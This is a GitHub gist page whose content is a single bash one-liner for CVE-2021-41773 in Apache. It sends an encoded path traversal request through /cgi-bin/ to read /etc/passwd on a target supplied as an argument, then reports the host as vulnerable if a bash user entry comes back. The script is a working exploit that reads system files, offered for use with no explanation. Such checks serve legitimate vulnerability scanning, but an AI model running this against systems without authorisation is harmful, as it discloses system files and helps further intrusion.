Skip to content

Instantly share code, notes, and snippets.

@JoyGhoshs
Created October 10, 2021 06:27
Show Gist options
  • Save JoyGhoshs/6a200ff784777902d3362b67e5d5f46a to your computer and use it in GitHub Desktop.
Save JoyGhoshs/6a200ff784777902d3362b67e5d5f46a to your computer and use it in GitHub Desktop.
#!/bin/bash
curl --silent --path-as-is --insecure -k "$1/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "/bin/bash" &>/dev/null && echo "[CVE-2021-41773][Vulnerable][$1]"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment